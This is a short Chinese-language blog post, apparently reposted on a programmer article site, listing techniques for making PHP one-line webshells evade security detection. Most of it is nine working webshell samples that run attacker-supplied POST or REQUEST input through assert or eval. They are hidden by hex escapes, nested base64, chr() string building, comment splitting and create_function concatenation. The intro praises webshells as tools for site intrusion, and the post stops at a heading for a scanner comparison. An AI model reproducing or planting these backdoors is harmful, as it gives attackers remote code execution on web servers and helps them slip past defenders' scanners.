一句话木马绕过检测的常见思路
程序员文章站
2022-05-27 13:45:36
...
0x0 背景
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用,居家生活搞站越货必备神器。主要总结一下常见的绕过安全检测的思路,欢迎各位大佬参与讨论。
0x1 关键函数编码
主要通过一些字符串对关键的几个函数比如eval、assert等函数进行变换绕过检测
如下代码使用\x65编码字符串’e’,使用array类型进行混淆:
<?php array_map("ass\x65rt",(array)$_REQUEST['si1ence']);?> //1.php
<?php array_map("as\x73ert",(array)$_REQUEST['si1ence'];?> //2.php
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['si1ence']);?> //3.php
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?> // 4.php
0x2 base64编码绕过
使用base64解码assert函数
<?php $x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?> //5.php
多次使用base64解码一句话内容、能绕过部分安全工具检测:
<?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?> //6.php
0x3 字符编码绕过
使用是一些字符编码的方式进行绕过关键字的匹配行为,举例如下:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php
0x4 注释混淆
使用注释对字符串的拼接进行干扰
<?php @$_="s"."s"./*-
////////////////////
*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/
/////////////////////
*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> //8.php
0x5 多字符串拼接
<?php
$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
@$_[00]($__H_H($__H_H($__C_C)));
?> //9.php
0x6 工具查杀
这里使用流行的安全工具进行查杀做一个简单的对比